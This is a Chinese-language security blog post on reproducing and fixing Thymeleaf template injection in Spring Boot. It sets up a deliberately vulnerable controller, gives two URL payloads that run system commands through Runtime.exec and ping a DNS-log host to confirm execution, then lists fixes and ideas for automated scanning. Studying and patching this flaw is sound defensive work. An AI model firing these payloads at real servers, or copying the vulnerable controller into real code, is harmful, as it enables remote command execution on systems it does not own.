spring boot Thymeleaf 模板注入 测试实践
Thymeleaf是用于Web和独立环境的现代服务器端Java模板引擎。类似与python web开发中的jinja模板引擎,Thymeleaf是spring boot的推荐引擎。
环境配置
实际测试发现跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。
spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11
1.idea创建一个spring Initializer项目
pom.xml中引入有漏洞的版本
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
<version>2.1.5.RELEASE</version>
</dependency>
<dependency>
<groupId>net.sourceforge.nekohtml</groupId>
<artifactId>nekohtml</artifactId>
<version>1.9.22</version>
</dependency>
创建TestController
@Controller
public class TestController {
@GetMapping("/path")
public String testPath(@RequestParam String lang){
return lang;
}
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
System.out.println("Retrieving " + document);
}
}
测试请求:
第一种:
http://127.0.0.1:8080/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ping%20wwwss.ks4yd3.dnslog.cn%22).getInputStream()).next()%7d__::.x
第二种:
http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22ping%20www.4whpgo.dnslog.cn%22)%7D__::.x
修复方案:
1. 设置ResponseBody注解
如果设置ResponseBody,则不再调用模板解析
如:
@GetMapping("/path")
@ResponseBody
public String testPath(@RequestParam String lang){
return lang;
}
2. 设置redirect重定向
@GetMapping("/safe/redirect")
public String redirect(@RequestParam String url) {
return "redirect:" + url;
根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
3. response
@GetMapping("/safe/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document); //FP
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
System.out.println("Retrieving " + document);
}
思考:
知道漏洞paylaod,那么这种漏洞如何挖掘,如何自动化的扫描?
1.可以使用自动化参数污染成相关payload
2.对路径进行拆分,然后污染每个路径参数
浙公网安备 33010602011771号